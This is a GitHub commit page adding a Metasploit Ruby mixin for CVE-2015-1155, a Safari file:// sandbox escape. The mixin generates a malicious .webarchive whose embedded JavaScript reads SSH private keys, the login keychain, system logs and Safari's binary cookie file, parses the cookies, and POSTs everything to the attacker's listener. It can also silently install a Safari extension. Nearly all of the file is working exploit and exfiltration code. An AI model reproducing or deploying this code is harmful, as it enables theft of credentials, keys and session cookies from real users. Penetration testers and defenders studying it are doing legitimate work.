Skip to content

Commit 884b779

Browse files
committed
Land rapid7#5593, CVE-2015-1155 Safari file:// Redirection Sandbox Escape
2 parents 92e5931 + 60a896f commit 884b779

File tree

2 files changed

+711
-0
lines changed

2 files changed

+711
-0
lines changed

lib/msf/core/format/webarchive.rb

Lines changed: 365 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,365 @@
1+
#
2+
# The WebArchive mixin provides methods for generating a Safari .webarchive file
3+
# that performs a variety of malicious tasks: stealing files, cookies, and silently
4+
# installing extensions from extensions.apple.com.
5+
#
6+
module Msf
7+
module Format
8+
module Webarchive
9+
10+
def initialize(info={})
11+
super
12+
register_options([
13+
OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),
14+
OptString.new('FILENAME', [ true, 'The file name', 'msf.webarchive']),
15+
OptString.new('GRABPATH', [false, "The URI to receive the UXSS'ed data", 'grab']),
16+
OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive', '/msf.webarchive']),
17+
OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal. $USER will be resolved to the username.', '']),
18+
OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing", true]),
19+
OptBool.new('STEAL_FILES', [true, "Enable local file stealing", true]),
20+
OptBool.new('INSTALL_EXTENSION', [true, "Silently install a Safari extensions (requires click)", false]),
21+
OptString.new('EXTENSION_URL', [false, "HTTP URL of a Safari extension to install", "https://data.getadblock.com/safari/AdBlock.safariextz"]),
22+
OptString.new('EXTENSION_ID', [false, "The ID of the Safari extension to install", "com.betafish.adblockforsafari-UAMUU4S2D9"])
23+
], self.class)
24+
end
25+
26+
### ASSEMBLE THE WEBARCHIVE XML ###
27+
28+
# @return [String] contents of webarchive as an XML document
29+
def webarchive_xml
30+
return @xml if not @xml.nil? # only compute xml once
31+
@xml = webarchive_header
32+
@xml << webarchive_footer
33+
@xml
34+
end
35+
36+
# @return [String] the first chunk of the webarchive file, containing the WebMainResource
37+
def webarchive_header
38+
%Q|
39+
<?xml version="1.0" encoding="UTF-8"?>
40+
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
41+
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
42+
<plist version="1.0">
43+
<dict>
44+
<key>WebMainResource</key>
45+
<dict>
46+
<key>WebResourceData</key>
47+
<data>
48+
#{Rex::Text.encode_base64(iframes_container_html)}</data>
49+
<key>WebResourceFrameName</key>
50+
<string></string>
51+
<key>WebResourceMIMEType</key>
52+
<string>text/html</string>
53+
<key>WebResourceTextEncodingName</key>
54+
<string>UTF-8</string>
55+
<key>WebResourceURL</key>
56+
<string>file:///</string>
57+
</dict>
58+
<key>WebSubframeArchives</key>
59+
<array>
60+
|
61+
end
62+
63+
# @return [String] the closing chunk of the webarchive XML code
64+
def webarchive_footer
65+
%Q|
66+
</array>
67+
</dict>
68+
</plist>
69+
|
70+
end
71+
72+
#### JS/HTML CODE ####
73+
74+
# Wraps the result of the block in an HTML5 document and body
75+
def wrap_with_doc(&blk)
76+
%Q|
77+
<!doctype html>
78+
<html>
79+
<body>
80+
#{yield}
81+
</body>
82+
</html>
83+
|
84+
end
85+
86+
# Wraps the result of the block with <script> tags
87+
def wrap_with_script(&blk)
88+
"<script>#{yield}</script>"
89+
end
90+
91+
# @return [String] mark up for embedding the iframes for each URL in a place that is
92+
# invisible to the user
93+
def iframes_container_html
94+
wrap_with_doc do
95+
injected_js_helpers + steal_files + install_extension + message
96+
end
97+
end
98+
99+
def apple_extension_url
100+
'https://extensions.apple.com'
101+
end
102+
103+
def install_extension
104+
return '' unless datastore['INSTALL_EXTENSION']
105+
raise "EXTENSION_URL datastore option missing" unless datastore['EXTENSION_URL'].present?
106+
raise "EXTENSION_ID datastore option missing" unless datastore['EXTENSION_ID'].present?
107+
wrap_with_script do
108+
%Q|
109+
var qq = null;
110+
var extURL = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_URL'])}');
111+
var extID = atob('#{Rex::Text.encode_base64(datastore['EXTENSION_ID'])}');
112+
113+
function go(){
114+
window.focus();
115+
qq.open('javascript:safari&&(safari.installExtension\|\|(window.top.location.href.match(/extensions/)&&window.top.location.reload(false)))&&(safari.installExtension("'+extID+'", "'+extURL+'"), window.close());', '_self');
116+
}
117+
window.addEventListener('message', function(e) {
118+
if (!qq && e.data === 'EXT') {
119+
qq = e.source;
120+
setInterval(go, 600);
121+
}
122+
});
123+
|
124+
end
125+
end
126+
127+
# @return [String] javascript code, wrapped in a script tag, that steals local files
128+
# and sends them back to the listener. This code is executed in the WebMainResource (parent)
129+
# frame, which runs in the file:// protocol
130+
def steal_files
131+
return '' unless should_steal_files?
132+
urls_str = (datastore['FILE_URLS'].split(/\s+/)).reject { |s| !s.include?('$USER') }.join(' ')
133+
wrap_with_script do
134+
%Q|
135+
var filesStr = "#{urls_str}";
136+
var files = filesStr.trim().split(/\s+/);
137+
function stealFile(url) {
138+
var req = new XMLHttpRequest();
139+
var sent = false;
140+
req.open('GET', url, true);
141+
req.onreadystatechange = function() {
142+
if (!sent && req.responseText && req.responseText.length > 0) {
143+
sendData(url, req.responseText);
144+
sent = true;
145+
}
146+
};
147+
req.send(null);
148+
};
149+
files.forEach(stealFile);
150+
151+
| + steal_default_files
152+
end
153+
end
154+
155+
def default_files
156+
('file:///Users/$USER/.ssh/id_rsa file:///Users/$USER/.ssh/id_rsa.pub '+
157+
'file:///Users/$USER/Library/Keychains/login.keychain ' +
158+
(datastore['FILE_URLS'].split(/\s+/)).select { |s| s.include?('$USER') }.join(' ')).strip
159+
end
160+
161+
def steal_default_files
162+
%Q|
163+
164+
try {
165+
166+
function xhr(url, cb, responseType) {
167+
var x = new XMLHttpRequest;
168+
x.onload = function() { cb(x) }
169+
x.open('GET', url);
170+
if (responseType) x.responseType = responseType;
171+
x.send();
172+
}
173+
174+
var files = ['/var/log/monthly.out', '/var/log/appstore.log', '/var/log/install.log'];
175+
var done = 0;
176+
var _u = {};
177+
178+
var cookies = [];
179+
files.forEach(function(f) {
180+
xhr(f, function(x) {
181+
var m;
182+
var users = [];
183+
var pattern = /\\/Users\\/([^\\s^\\/^"]+)/g;
184+
while ((m = pattern.exec(x.responseText)) !== null) {
185+
if(!_u[m[1]]) { users.push(m[1]); }
186+
_u[m[1]] = 1;
187+
}
188+
189+
if (users.length) { next(users); }
190+
});
191+
});
192+
193+
var id=0;
194+
function next(users) {
195+
// now lets steal all the data we can!
196+
sendData('usernames'+id, users);
197+
id++;
198+
users.forEach(function(user) {
199+
200+
if (#{datastore['STEAL_COOKIES']}) {
201+
xhr('file:///Users/'+encodeURIComponent(user)+'/Library/Cookies/Cookies.binarycookies', function(x) {
202+
parseBinaryFile(x.response);
203+
}, 'arraybuffer');
204+
}
205+
206+
if (#{datastore['STEAL_FILES']}) {
207+
var files = '#{Rex::Text.encode_base64(default_files)}';
208+
atob(files).split(/\\s+/).forEach(function(file) {
209+
file = file.replace('$USER', encodeURIComponent(user));
210+
xhr(file, function(x) {
211+
sendData(file.replace('file://', ''), x.responseText);
212+
});
213+
});
214+
}
215+
216+
});
217+
}
218+
219+
function parseBinaryFile(buffer) {
220+
var data = new DataView(buffer);
221+
222+
// check for MAGIC 'cook' in big endian
223+
if (data.getUint32(0, false) != 1668247403)
224+
throw new Error('Invalid magic at top of cookie file.')
225+
226+
// big endian length in next 4 bytes
227+
var numPages = data.getUint32(4, false);
228+
var pageSizes = [], cursor = 8;
229+
for (var i = 0; i < numPages; i++) {
230+
pageSizes.push(data.getUint32(cursor, false));
231+
cursor += 4;
232+
}
233+
234+
pageSizes.forEach(function(size) {
235+
parsePage(buffer.slice(cursor, cursor + size));
236+
cursor += size;
237+
});
238+
239+
reportStolenCookies();
240+
}
241+
242+
function parsePage(buffer) {
243+
var data = new DataView(buffer);
244+
if (data.getUint32(0, false) != 256) {
245+
return; // invalid magic in page header
246+
}
247+
248+
var numCookies = data.getUint32(4, true);
249+
var offsets = [];
250+
for (var i = 0; i < numCookies; i++) {
251+
offsets.push(data.getUint32(8+i*4, true));
252+
}
253+
254+
offsets.forEach(function(offset, idx) {
255+
var next = offsets[idx+1] \|\| buffer.byteLength - 4;
256+
try{parseCookie(buffer.slice(offset, next));}catch(e){};
257+
});
258+
}
259+
260+
function read(data, offset) {
261+
var str = '', c = null;
262+
try {
263+
while ((c = data.getUint8(offset++)) != 0) {
264+
str += String.fromCharCode(c);
265+
}
266+
} catch(e) {};
267+
return str;
268+
}
269+
270+
function parseCookie(buffer) {
271+
var data = new DataView(buffer);
272+
var size = data.getUint32(0, true);
273+
var flags = data.getUint32(8, true);
274+
var urlOffset = data.getUint32(16, true);
275+
var nameOffset = data.getUint32(20, true);
276+
var pathOffset = data.getUint32(24, true);
277+
var valueOffset = data.getUint32(28, true);
278+
279+
var result = {
280+
value: read(data, valueOffset),
281+
path: read(data, pathOffset),
282+
url: read(data, urlOffset),
283+
name: read(data, nameOffset),
284+
isSecure: flags & 1,
285+
httpOnly: flags & 4
286+
};
287+
288+
cookies.push(result);
289+
}
290+
291+
function reportStolenCookies() {
292+
if (cookies.length > 0) {
293+
sendData('cookieDump', cookies);
294+
}
295+
}
296+
297+
} catch (e) { console.log('ERROR: '+e.message); }
298+
299+
|
300+
end
301+
302+
# @return [String] javascript code, wrapped in script tag, that adds a helper function
303+
# called "sendData()" that passes the arguments up to the parent frame, where it is
304+
# sent out to the listener
305+
def injected_js_helpers
306+
wrap_with_script do
307+
%Q|
308+
window.sendData = function(key, val) {
309+
var data = {};
310+
data[key] = val;
311+
312+
var x = new XMLHttpRequest;
313+
x.open('POST', '#{backend_url}#{collect_data_uri}', true);
314+
x.setRequestHeader('Content-type', 'text/plain')
315+
x.send(JSON.stringify(data));
316+
};
317+
|
318+
end
319+
end
320+
321+
### HELPERS ###
322+
323+
# @return [String] the path to send data back to
324+
def collect_data_uri
325+
'/' + (datastore["URIPATH"] || '').chomp('/').gsub(/^\//, '') + '/'+datastore["GRABPATH"]
326+
end
327+
328+
# @return [String] formatted http/https URL of the listener
329+
def backend_url
330+
proto = (datastore["SSL"] ? "https" : "http")
331+
myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
332+
port_str = (datastore['HTTPPORT'].to_i == 80) ? '' : ":#{datastore['HTTPPORT']}"
333+
"#{proto}://#{myhost}#{port_str}"
334+
end
335+
336+
# @return [String] URL that serves the malicious webarchive
337+
def webarchive_download_url
338+
datastore["DOWNLOAD_PATH"]
339+
end
340+
341+
# @return [String] HTML content that is rendered in the <body> of the webarchive.
342+
def message
343+
"<p>You are being redirected.</p>"
344+
end
345+
346+
# @return [Array<String>] of URLs provided by the user
347+
def urls
348+
(datastore['URLS'] || '').split(/\s+/)
349+
end
350+
351+
# @param [String] input the unencoded string
352+
# @return [String] input with dangerous chars replaced with xml entities
353+
def escape_xml(input)
354+
input.to_s.gsub("&", "&amp;").gsub("<", "&lt;")
355+
.gsub(">", "&gt;").gsub("'", "&apos;")
356+
.gsub("\"", "&quot;")
357+
end
358+
359+
def should_steal_files?
360+
datastore['STEAL_FILES']
361+
end
362+
363+
end
364+
end
365+
end

0 commit comments

Comments
 (0)